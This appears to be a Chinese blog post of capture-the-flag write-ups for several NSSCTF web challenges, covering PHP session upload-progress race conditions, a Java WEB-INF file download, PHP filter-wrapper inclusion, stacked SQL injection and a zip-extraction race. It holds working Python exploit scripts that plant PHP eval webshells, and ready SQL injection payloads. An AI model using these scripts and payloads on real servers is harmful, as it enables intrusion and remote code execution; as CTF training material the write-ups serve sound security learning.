NSSCTF题解

[第五空间 2021]EasyCleanup

1.看到题目代码

<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?> 

 分析得出,可以通过file进行文件包含构成rce,但是限制了许多字符,绕过有些困难。再次分析,通过构造url得出phpinfo()界面

http://114.115.134.72:32770/?mode=eval

http://114.115.134.72:32770/?mode=eval

http://114.115.134.72:32770/?mode=eval

2.来到phpinfo界面

根据题目cleanup猜想可能是session_upload,查看phpinfo信息

看到session.upload_progress.enabled开启,说明开启session.upload_progress功能,这个功能在我们上传文件时可以把文件上传进度和信息存储在session中。

又看到session.upload_progress.cleanup开启,说明当文件上传结束后,php将会立即清空对应session文件中的内容。所以需要条件竞争。

看到session.save_path,可以看到session文件保存路径。

看到session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。假如说sessionid=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件。

想利用session文件包含getshell,但是上传 文件后文件内容会被清空。怎么办?

于是想到了pyhton的多线程,利用多线程创建竞争条件,在还没删除时进行文件包含getshell。

直接脚本:

import io

import requests
import threading  

from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://1.14.71.254:28513/'
file = 'ph0ebus.txt'  
f = io.BytesIO(b'a' * 1024 * 50)  


def write(session):
    while True:
        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(
            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
        if file in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+]retry")
            # print(resp.text)


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in xrange(1, 30):  
            threading.Thread(target=write, args=(session,)).start()
        for i in xrange(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

 NSSCTF{cb37fcd3-1cff-4965-b455-4ec5cdb329c5}

[鹏城杯 2022]简单的php

查看源代码

 <?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?>  

发现想要执行rce必须绕过正则表达式

也就是无字母数字命令执行和无参构造rce

NSSCTF{bfb142cd-1d50-4c37-b63c-051f546a235b} 

[RoarCTF 2019]Easy Java

 进来后看到登录框,第一时间想到弱口令

admin和admin888进去了

 但是进去以后什么也没有

重新试试,点击help

 出现这个页面,于是想到了文件下载,修改url

payload:filename=help.docx

访问失败,修改提交方式为post,下载成功

打开后

 发现啥也没有

于是上网搜了下WEB-INF/web.xml泄露

了解到WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

尝试下,构造payload(post提交):filename=/WEB-INF/web.xml

成功下载文件

<?xml version="1.0" encoding="UTF-8"?>

-<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">


-<welcome-file-list>

<welcome-file>Index</welcome-file>

</welcome-file-list>


-<servlet>

<servlet-name>IndexController</servlet-name>

<servlet-class>com.wm.ctf.IndexController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>IndexController</servlet-name>

<url-pattern>/Index</url-pattern>

</servlet-mapping>


-<servlet>

<servlet-name>LoginController</servlet-name>

<servlet-class>com.wm.ctf.LoginController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>LoginController</servlet-name>

<url-pattern>/Login</url-pattern>

</servlet-mapping>


-<servlet>

<servlet-name>DownloadController</servlet-name>

<servlet-class>com.wm.ctf.DownloadController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>DownloadController</servlet-name>

<url-pattern>/Download</url-pattern>

</servlet-mapping>


-<servlet>

<servlet-name>FlagController</servlet-name>

<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

</servlet-mapping>

</web-app>

可以看到

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

说明这是一个Java Servlet服务端程序,后缀应为.class

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

构造payload:filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

成功下载文件

 将文件进行反编译,得出一个base64编码的flag

 进行base64解码后得到flag

flag{e3f6f5e5-37f2-4a28-ac68-a8ce4522412e}

[NPUCTF2020]ezinclude

拿到题目查看源码

username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

看到提示

输入url

/?name=1

用burpsuite抓包 发现

 响应中的hash值随着name参数的变化而变化,但又不完全是md5加密的值,这里看提示后,直接构造payload

name=&pass=fa25e54758d5d5c1927781a6ede89f8a

得到响应

HTTP/1.1 200 OK
Server: openresty
Date: Fri, 17 Mar 2023 02:12:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 165
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33

<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>

载入flflflflag.php目录

 发现找不到,用burp抓包后

HTTP/1.1 200 OK
Server: openresty
Date: Fri, 17 Mar 2023 05:44:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

发现include 猜测是伪协议文件包含

构造payload

file=php://filter/read=convert.base64-encode/resource=flflflflag.php

得到响应

<body>
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])</body>
</html>

base64解码后,得到:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

直接目录扫描:


python dirsearch.py -u http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt

扫出来一个dir.php文件

可以查看源码,输入url

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php

base64解码后得到:

<?php
var_dump(scandir('/tmp'));
?>

dir.php能打印临时文件夹里的内容,因此我们要想办法把文件存到tmp文件夹中

利用 session.upload_progress 进行 session 文件包含

编写脚本

import io
import sys
import requests
import threading

host = 'http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/flflflflag.php'
sessid = 'zzzz'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

跑出结果

 flag{fbf56767-b195-43d8-b38c-d5a958d672c6}

[强网杯 2019]随便注

 正常注入

发现过滤 行不通

看题目的源代码

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
<br></pre>

</body>

</html>

分析源代码:

1,使用了multi_query()函数,可以执行多条sql语句。

2,查询语句为 $sql=select *from `words` where id=$id

3,通过store_result()获取第一条sql语句查询结果,通过var_dump()输出,然后通过more_results()判断是否有更多的结果集,用next_result()方法获取下一个结果集继续输出。

由于select被禁了,可以使用handler代替select。

payload:

1';handler  `1919810931114514` open as a;handler a read first;handler a close;#

payload就是使用handler打开1919810931114514表的句柄,然后读取句柄的第一行即flag的值,然后关闭 

 直接出结果

NSSCTF{ac89f14b-0958-4f1c-b4b3-8775ca4ae0ed}

做完后上网查了下wp 发现还有其他两种解法 值得学习

解法二:通过源代码可以知道图中查询语句是$sql=select *from `words` where id=$id;从名为words的表中查询id=$id的值并返回。

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

payload意思就是将原本words的名称改掉,然后把表1919810931114514改成words,并且把表1919810931114514的字段flag改成id,这样查询就变成了 select *from `1919810931114514` where flag=$id。就可以查询出flag

解法三:

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;#

    PREPARE - 准备执行的声明。
    EXECUTE - 执行由PREPARE语句定义的语句。
    DEALLOCATE PREPARE - 发布PREPARE语句。

设置一个声明查询语句select *from 表19,使用CONCAT连接select绕过select,然后EXECUTE执行声明返回结果


 

[鹏城杯 2022]压缩包

查看题目代码

 <?php
highlight_file(__FILE__);

function removedir($dir){
    $list= scandir($dir);
    foreach ($list as  $value) {
       if(is_file($dir.'/'.$value)){
         unlink($dir.'/'.$value);
       }else if($value!="."&&$value!=".."){
                removedir($dir.'/'.$value);
       }
    }
}

function unzip($filename){
        $result = [];
        $zip = new ZipArchive();
        $zip->open($filename);
        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
        if(!is_dir($dir)){
            mkdir($dir);
        }
        if($zip->extractTo($dir)){
        foreach (scandir($dir) as  $value) {
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                removedir($dir);
            }
            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                if(is_file($dir."/".$value)){
                    unlink($dir."/".$value);
                }else{
                    if($value!="."&&$value!="..")
                    array_push($result,$value);
                }
                
            }
           
        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
        }else{
            return false;
        }
    }
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
    ?>
[] [][]

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

将该文件压缩为1.zip

<?php 
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[cmd]);?>');
?>

直接脚本 

import requests
import hashlib
import threading
import base64

url = "http://1.14.71.254:28116/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data={
    'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
    while True:
        resp=session.post(url,data=data)
def read(session):
    while True:
        resp=session.get(url+f'static/upload/{md}/1.php')
        if resp.status_code==200:
            print("success")
if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

蚁剑连接x.php 密码是cmd 根目录得到flag
 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值